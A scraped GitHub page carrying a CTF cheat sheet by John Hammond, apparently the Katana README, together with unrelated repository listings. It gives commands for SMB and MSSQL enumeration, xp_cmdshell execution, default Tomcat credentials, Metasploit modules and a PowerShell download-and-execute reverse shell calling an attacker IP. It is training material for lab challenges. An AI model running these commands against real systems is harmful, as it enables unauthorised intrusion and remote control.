Loading repository data…
JohnHammond / repository
This repository aims to hold suggestions (and hopefully/eventually code) for CTF challenges. The "project" is nicknamed Katana.
A transparent discovery signal based on current public GitHub metadata.
This score does not audit code, security, maintainers, documentation quality, or suitability. Verify the repository and its current documentation before adoption.
John Hammond | February 1st, 2018
This repository, at the time of writing, will just host a listing of tools and commands that may help with CTF challenges. I hope to keep it as a "live document," and ideally it will not die out like the old "tools" page I had made (https://github.com/USCGA/tools).
The formal tool that automates some of this low-hanging fruit checking is finally released. Katana is available at https://github.com/JohnHammond/katana. Pull-requests and contributions are welcome!
[static-binaries]
If you need to use a program that is not on the box you just broke into, try and build a static binary! I've seen this used on Fatty for HackTheBox, getting a pty with the typical python -c 'import pty...' trick when it didn't have Python originally!
smbmap tells you permissions and access, which smbclient does not do!
To try and list shares as the anonymous user DO THIS (this doesn't always work for some weird reason)
smbmap -H 10.10.10.125 -u anonymous
Or you can attempt just:
smbmap -H 10.10.10.125
And you can specify a domain like so:
smbmap -H 10.10.10.125 -u anonymous -d HTB.LOCAL
Worth trying localhost as a domain, if that gets "NO_LOGON_SERVERS"
smbmap -H 10.10.10.125 -u anonymous -d localhost
enum4linuxenum4linux 10.10.10.125
smbclient
NOTE: DEPENDING ON THE VERSION OF SMBCLIENT YOU ARE USING, you may need to SPECIFY the use of S<B version 1 or SMB version 2. You can dp this with -m SMB2. Older versions of SMBclient (latest being 4.10 at the time of writing) use SMB1 by default.
You can use smbclient to look through files shared with SMB. To list available shares:
smbclient -m SMB2 -N -L //10.10.10.125/
Once you find a share you want to/can access, you can connect to shares by using the name following the locator:
smbclient -m SMB2 -N //10.10.10.125/Reports
You will see a smb: \> prompt, and you can use ls and get to retrieve files or even put if you need to place files there.
impacket -> mssqlclient.py
You can connect to a Microsoft SQL Server with myssqlclient.py knowing a username and password like so:
mssqlclient.py username@10.10.10.125
It will prompt you for a password. If your password fails, the server might be using "Windows authentication", which you can use with:
mssqlclient.py username@10.10.10.125 -windows-auth
If you have access to a Micosoft SQL Server, you can try and enable_xp_cmdshell to run commands. With mssqlclient.py you can try:
SQL> enable_xp_cmdshell
though, you may not have permission. If that DOES succeed, you can now run commands like:
SQL> xp_cmdshell whoami
snmp-check 10.10.10.125
oletools -> olevba
olevba can look for Macros within office documents (which you should always check) with just supplying the filename:
olevba "Currency Volume Report.xlsm"
./Responder.py -I tun0
[Nishang][nishang]
If you have access to PowerShell, you can get a Reverse shell by using [nishang]'s Invoke-PowerShellTcp.ps1 script inside of the Shells directory. Be sure to add the function call example to the bottom of your script, so all you need to to do to host it is (on your Attacker machine):
python -m SimpleHTTPServer
and then on the victim machine:
powershell IEX( New-Object Net.WebClient).DownloadString("http://10.10.14.6:8000/reverse.ps1") )
Also, if you want to have nice up and down arrow key usage within your Windows reverse shell, you can use the utility rlwrap before your netcat listener command.
rlwrap nc -lnvp 9001
Java RMI
Metasploit module: exploit/multi/misc/java_rmi_server
When testing this, responses are known to come back with an error or exception. Your code MAY VERY WELL still be executing. Try and run commands that include a callback. And use Python to live off the land and try avoid special characters, like | pipes! ysoserial is a good tool for deserializing Java code to take advantage of this vulnerability.
Heartbleed
Metasploit module: auxiliary/scanner/ssl/openssl_heartbleed
Be sure to use set VERBOSE true to see the retrieved results. This can often contain a flag or some valuable information.
libssh - SSH
libssh0.8.1 (or others??) is vulnerable to an easy and immediate login. Metasploit module: auxiliary/scanner/ssh/libssh_auth_bypass. Be sure to set spawn_pty true to actually receive a shell! Then sessions -i 1 to interact with the shell spawned (or whatever appropriate ID)
Bruteforcing RDP
Bruteforcing RDP with hydra or ncrack is NOT ALWAYS ADVISABLE because of Cred-SSB. An option might be to script xrdp to automate against a password or word list... but THIS IS NOT TESTED.
Apache Tomcat
If you can determine that you are working with an Apache Tomcat server (usually by visiting pages that do not exist and seeing a 404 error message), try to visit /Manager, which is usually accessible on Tomcat. Possible credentials could be tomcat:tomcat, tomcat:s3cr3t, admin:s3cr3t, root:s3cr3t, etc. etc.. Worthy of bruteforcing with hydra.
If you see URLs are appended with a .action (not a .do), you may be working with Apache Struts.
Apache Struts
To identify the Apache Struts version is running,
Brute-force a Wi-Fi access point.
Tool to quickly spin up a Samba share.
Script to scan Windows Samba shares. VERY GOOD TO RUN FOR WINDOWS ENUMERATION.
Attack script for old or outdated Drupal servers. Usually very effective.
An online tool that has a ton of Esoteric language interpreters.
This language is easily detectable by its huge use of plus signs, braces, and arrows. There are plenty of online interpreters, like this one: https://copy.sh/brainfuck/ Some example code:
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++++++++++++++.--.--------------.+++++++++++++.----.-----------
--.++++++++++++.--------.<------------.<++.>>----.+.<+++++++++++.+++++++++++++.>+++++++++++++++++.-------------
--.++++.+++++++++++++++.<<.>>-------.<+++++++++++++++.>+++..++++.--------.+++.<+++.<++++++++++++++++++++++++++
.<++++++++++++++++++++++.>++++++++++++++..>+.----.>------.+++++++.--------.<+++.>++++++++++++..-------.++.
This language is easily identified by numerous "MOO" statements and random capitalization. It has an option on https://tio.run/ Some example code:
MoO moO MoO mOo MOO OOM MMM moO moO
MMM mOo mOo moO MMM mOo MMM moO moO
MOO MOo mOo MoO moO moo mOo mOo moo
An esoteric language that looks a lot like Base85... but isn't. Often has references to "Inferno" or "Hell" or "Dante." Online interpreters like so: http://www.malbolge.doleczek.pl/ Some example code:
(=<`#9]~6ZY32Vx/4Rs+0No-&Jk)"Fh}|Bcy?`=*z]Kw%oG4UUS0/@-ejc(:'8dc
A graphical programming language... looks like large 8-bit pixels in a variety of colors. Can be interpreted with the tool [npiet][npiet]
A joke language. Recognizable by . and ?, and !. Online interpreter for this language: https://www.dcode.fr/ook-language Some example code:
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook? Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook! Ook! Ook? Ook! Ook? Ook.
Ook! Ook. Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook? Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook?
Ook! Ook! Ook? Ook! Ook? Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook.
A language intended to look like song lyrics github link. Rockstar has an official online interpreter which you can find here: https://codewithrockstar.com/online
below is fizzbuzz in Rockstar:
Midnight takes your heart and your soul
While your heart is as high as your soul
Put your heart without your soul into your heart
Give back your heart
Desire is a lovestruck ladykiller
My world is nothing
Fire is ice
Hate is water
Until my world is Desire,
Build my world up
If Midnight taking my world, Fire is nothing and Midnight taking my world, Hate is nothing
Shout "FizzBuzz!"
Take it to the top
If Midnight taking my world, Fire is nothing
Shout "Fizz!"
Take it to the top
If Midnight taking my world, Hate is nothing
Say "Buzz!"
Take it to the top
Whisper my world
[StegCracker][StegCracker]
Don't ever forget about [steghide][steghide]! This tool can use a password list like rockyou.txt with steghide. SOME IMAGES CAN HAVE MULTIPLE FILED ENCODED WITH MULTIPLE PASSWORDS.
A tool often used in CTFs for encoding messages into images.
[StegSeek][StegSeek]
This is similar to stegcracker, but much faster. Can also extract metadata without a password list.
This is similar to stegcracker above.
[openstego][OpenStego]
A [Java][Java] [.JAR
Selected from shared topics, language and repository description—not editorial ratings.
YunoHost /
YunoHost is an operating system aiming to simplify as much as possible the administration of a server. This repository corresponds to the core code, written mostly in Python and Bash.
89/100 healthAI-Efficiency /
A list of papers, docs, codes about model quantization. This repo is aimed to provide the info for model quantization research, we are continuously improving the project. Welcome to PR the works (papers, repositories) that are missed by the repo.
79/100 healthydyjya /
A curated list of safety-related papers, articles, and resources focused on Large Language Models (LLMs). This repository aims to provide researchers, practitioners, and enthusiasts with insights into the safety implications, challenges, and advancements surrounding these powerful models.
71/100 healthEthicalML /
This repository aims to map the ecosystem of artificial intelligence guidelines, principles, codes of ethics, standards, regulation and beyond.
88/100 healthzhaozepeng /
this repository is aimed to adapt android float window permission in most kinds of mobiles and how to request it at runtime
61/100 healththepranaygupta /
A repository that contains all the Data Structures and Algorithms concepts and their implementation in several ways, programming questions and Interview questions. The main aim of this repository is to help students who are learning Data Structures and Algorithms or preparing for an interview.
79/100 health